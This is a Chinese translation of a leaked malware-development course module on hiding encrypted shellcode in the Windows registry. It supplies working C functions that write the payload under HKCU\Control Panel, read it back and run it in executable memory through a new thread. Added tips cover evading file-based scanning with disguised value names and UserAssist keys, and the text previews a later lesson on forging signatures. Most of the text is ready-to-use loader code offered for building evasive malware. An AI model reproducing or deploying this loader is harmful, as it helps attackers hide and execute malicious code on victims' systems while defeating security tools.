模块 31 - Payload Staging - Windows Registry
恶意软件开发课程 - Payload Staging - Windows Registry
模块 31 - Payload Staging - Windows Registry#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
Payload Staging - Windows 注册表#
简介#
上一模块表明,Payload 不一定需要存储在恶意软件内部。相反,恶意软件可以在运行时获取 Payload。本模块将展示一种类似的技术,不同之处在于 Payload 将作为注册表键值写入,然后在需要时从注册表中获取。由于 Payload 将存储在注册表中,如果安全解决方案扫描恶意软件,它们将无法检测到或找到其中的任何 Payload。
本模块中的代码分为两部分。第一部分是将加密的 Payload 写入注册表项。第二部分是从同一个注册表项读取 Payload、解密并执行它。本模块不会解释加密/解密过程,因为这在之前的模块中已经解释过了。
本模块还将介绍 条件编译 (Conditional Compilation) ↗ 的概念。
💡 初学者提示:为什么选择注册表?
Windows 注册表是一个巨大的分层数据库,用于存储系统设置。
- 隐蔽性:注册表包含数百万个条目,藏在这里就像在沙漠里藏一粒沙子。
- 持久性:注册表数据在重启后依然存在(如果不删除)。
- 无文件:Payload 存储在注册表hive文件中,而不是作为独立的 .exe/.dll 文件存在于磁盘上,这有助于规避基于文件的扫描。
条件编译#
条件编译是一种将代码包含在项目中的方法,编译器将根据条件决定是否编译这些代码。实现将使用它来决定是读取还是写入注册表。
下面的两个部分提供了有关如何使用条件编译编写读写操作的骨架代码。
写入操作#
#define WRITEMODE // 定义写入模式
// 在两种情况下都会编译的代码
// 如果定义了 'WRITEMODE'
#ifdef WRITEMODE
// 将被编译的代码
// 将 Payload 写入注册表所需的代码
#endif
// 如果定义了 'READMODE'
#ifdef READMODE
// 不会被编译的代码
#endif
c读取操作#
#define READMODE // 定义读取模式
// 在两种情况下都会编译的代码
// 如果定义了 'READMODE'
#ifdef READMODE
// 将被编译的代码
// 从注册表读取 Payload 所需的代码
#endif
// 如果定义了 'WRITEMODE'
#ifdef WRITEMODE
// 不会被编译的代码
#endif
c📚 知识扩展:预处理器指令
#define,#ifdef,#endif都是预处理器指令。
- 它们在编译之前处理。
- 这意味着生成的二进制文件只包含被选中的代码。
- 如果你定义了
READMODE,生成的 EXE 里面根本不会有写入注册表的代码指令。这对于减小体积和去除不必要的功能特征非常有用(例如,攻击端只包含读取代码,写入代码只在构建端使用)。
写入注册表#
本节将演练 WriteShellcodeToRegistry 函数。该函数接受两个参数:
pShellcode- 要写入的 Payload。dwShellcodeSize- 要写入的 Payload 大小。
REGISTRY & REGSTRING#
代码以两个预定义的常量 REGISTRY 和 REGSTRING 开始,分别设置为 Control Panel 和 MalDevAcademy。
// 要读取/写入的注册表项
#define REGISTRY "Control Panel"
#define REGSTRING "MalDevAcademy"cREGISTRY 是将保存 Payload 的注册表项名称。REGISTRY 的完整路径将是 Computer\HKEY_CURRENT_USER\Control Panel。

该函数将在编程上执行的操作是在此注册表项下创建一个新的“字符串值”来存储 Payload。REGSTRING 是将要创建的字符串值的名称。显然,在真实情况下,请使用更逼真的值,例如 PanelUpdateService 或 AppSnapshot。

打开注册表项句柄#
RegOpenKeyExA ↗ WinAPI 用于打开指定注册表项的句柄,这是在注册表项下创建、编辑或删除值的前提条件。
LSTATUS RegOpenKeyExA(
[in] HKEY hKey, // 打开的注册表项句柄 (如 HKEY_CURRENT_USER)
[in, optional] LPCSTR lpSubKey, // 要打开的注册表子项名称 (REGISTRY 常量)
[in] DWORD ulOptions, // 打开键时要应用的选项 - 设置为 0
[in] REGSAM samDesired, // 访问权限
[out] PHKEY phkResult // 指向接收已打开键句柄的变量的指针
);cRegOpenKeyExA WinAPI 的第四个参数定义了对注册表项的访问权限。因为程序需要在注册表项下创建一个值,所以选择了 KEY_SET_VALUE。可以在此处 ↗找到注册表访问权限的完整列表。
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);c设置注册表值#
接下来,使用 RegSetValueExA ↗ WinAPI,它使用从 RegOpenKeyExA 打开的句柄,并基于第二个参数 REGSTRING 创建一个新值。它还将把 Payload 写入新创建的值中。
LSTATUS RegSetValueExA(
[in] HKEY hKey, // 打开的注册表项句柄
[in, optional] LPCSTR lpValueName, // 要设置的值的名称 (REGSTRING 常量)
DWORD Reserved, // 设置为 0
[in] DWORD dwType, // lpData 参数指向的数据类型
[in] const BYTE *lpData, // 要存储的数据 (Payload)
[in] DWORD cbData // lpData 参数指向的信息大小,以字节为单位
);c值得注意的是,第四个参数指定了注册表值的数据类型。在这种情况下,它被设置为 REG_BINARY,因为 Payload 只是一个字节列表,但可以在此处 ↗找到完整的数据类型列表。
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);c关闭注册表项句柄#
最后,使用 RegCloseKey ↗ 关闭已打开的注册表项句柄。
LSTATUS RegCloseKey(
[in] HKEY hKey // 要关闭的已打开注册表项的句柄
);c写入注册表 - 代码片段#
// 要读取/写入的注册表项
#define REGISTRY "Control Panel"
#define REGSTRING "MalDevAcademy"
BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {
BOOL bSTATE = TRUE;
LSTATUS STATUS = NULL;
HKEY hKey = NULL;
printf("[i] Writing 0x%p [ Size: %ld ] to \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
if (ERROR_SUCCESS != STATUS) {
printf("[!] RegOpenKeyExA Failed With Error : %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
if (ERROR_SUCCESS != STATUS){
printf("[!] RegSetValueExA Failed With Error : %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] DONE ! \n");
_EndOfFunction:
if (hKey)
RegCloseKey(hKey);
return bSTATE;
}c读取注册表#
在 Payload 成功写入 Computer\HKEY_CURRENT_USER\Control Panel 注册表项中的 MalDevAcademy 字符串后,下一步是创建一个额外的实现来处理解密过程,类似于 HellShell.exe 程序所提供的功能。
本节将演练如下所示的 ReadShellcodeFromRegistry 函数。该函数接受两个参数:
ppPayload- 指向PBYTE变量的指针,用于在函数返回时保存读取的 Payload 的基地址。psSize- 读取的 Payload 的大小。
读取注册表值#
RegGetValueA ↗ 函数需要要读取的注册表项和值,分别为 REGISTRY 和 REGSTRING。在上一模块中,可以分多次以任意大小从互联网获取 Payload,但是,在使用 RegGetValueA 时这是不可能的,因为它不是作为数据流读取字节,而是一次性读取所有字节。因此,应该调用 RegGetValueA 两次:第一次用于获取 Payload 的大小,分配足够的内存来保存 Payload;第二次调用 RegGetValueA 用于将 Payload 读取到分配的缓冲区中。
LSTATUS RegGetValueA(
[in] HKEY hkey, // 打开的注册表项句柄
[in, optional] LPCSTR lpSubKey, // 相对于 hkey 参数指定键的注册表项路径
[in, optional] LPCSTR lpValue, // 注册表值的名称
[in, optional] DWORD dwFlags, // 限制要查询的值的数据类型的标志
[out, optional] LPDWORD pdwType, // 指向接收指示存储数据类型的代码的变量的指针
[out, optional] PVOID pvData, // 指向接收值数据的缓冲区的指针
[in, out, optional] LPDWORD pcbData // 指向指定 pvData 参数指向的缓冲区大小的变量的指针(字节)
);c第四个参数 dwFlags 可用于限制数据类型,但是,此实现使用 RRF_RT_ANY,表示任意数据类型。或者,由于 Payload 是二进制数据类型,也可以使用 RRF_RT_REG_BINARY。下面的代码片段演示了如何调用 RegGetValueA 来获取 Payload 大小。
// 'pvData' 参数设置为 'NULL'。函数返回后,Payload 大小将保存到 'dwBytesRead' 变量中。
LSTATUS STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, NULL, &dwBytesRead);
// 使用 'dwBytesRead' 变量分配足够的内存来保存 Payload
PBYTE pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesRead);c调用 HeapAlloc 后,代码可以跟随另一个 RegGetValueA 调用以从注册表中获取 Payload。第二次调用应如下所示:
// 'pvData' 参数设置为 'pBytes',它将用于写入 Payload。
LSTATUS STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);c读取注册表 - 代码片段#
BOOL ReadShellcodeFromRegistry(OUT PBYTE* ppPayload, OUT SIZE_T* psSize) {
LSTATUS STATUS = NULL;
DWORD dwBytesRead = NULL;
PVOID pBytes = NULL;
// 获取 Payload 的大小
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, NULL, &dwBytesRead);
if (ERROR_SUCCESS != STATUS) {
printf("[!] RegGetValueA Failed With Error : %d\n", STATUS);
return FALSE;
}
// 分配将存储读取的 Payload 的堆内存
pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesRead);
if (pBytes == NULL){
printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
return FALSE;
}
// 从 "REGISTRY" 键的 "REGSTRING" 值读取 Payload
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
if (ERROR_SUCCESS != STATUS) {
printf("[!] RegGetValueA Failed With Error : %d\n", STATUS);
return FALSE;
}
// 保存结果
*ppPayload = pBytes;
*psSize = dwBytesRead;
return TRUE;
}c💡 初学者提示:两次调用的技巧
你会经常在 WinAPI 编程中看到这种模式:
- 调用函数,传递空缓冲区 → 获取所需大小 (Size Needed)。
- 分配该大小的内存。
- 再次调用函数,传递分配的缓冲区 → 获取实际数据。
这是处理动态长度数据(如字符串、数组、二进制块)的标准“Windows 方式”。
执行 Payload#
一旦从注册表中读取 Payload 并存储在分配的缓冲区中,就使用 RunShellcode 函数执行 Payload。请注意,此函数已在之前的模块中解释过。
BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {
PVOID pShellcodeAddress = NULL;
DWORD dwOldProtection = NULL;
pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);
memset(pDecryptedShellcode, '\0', sDecryptedShellcodeSize);
if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[#] Press <Enter> To Run ... ");
getchar();
if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}c写入注册表 - 演示#
在执行上面显示的编译代码之前,注册表项如下所示:

运行程序后,将创建一个包含 RC4 加密 Payload 的新注册表字符串值。

双击 MalDevAcademy 将显示 HEX 和 ASCII 格式的 Payload。

读取注册表 - 演示#
程序开始从注册表读取加密的 Payload。

接下来,程序将解密 Payload。

最后,执行解密后的 Payload。

🎯 总结#
在本模块中,我们学习了:
- Registry Staging:如何利用 Windows 注册表作为 Payload 的藏身之处。
- 注册表 API:
RegOpenKeyExA,RegSetValueExA,RegGetValueA的具体用法。 - 条件编译:使用
#ifdef来控制代码的包含,方便在同一个工程中切换读/写模式。 - 数据读取模式:使用 “两次调用” 模式(先获取大小,后获取数据)来处理动态数据。
💡 关键要点
- 注册表 Staging 是一种常见的持久化和隐藏技术。
- 读取时需要先查询数据大小,再分配内存,最后读取数据。
- 为了更好的隐蔽性,应该选择那些包含大量二进制数据的注册表项进行混淆存储,例如
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist。
📚 下一步学习
下一个模块将介绍 Malware Binary Signing (恶意软件二进制签名)。你将学习如何通过伪造或获取数字签名来增加恶意软件的可信度,从而规避安全检测!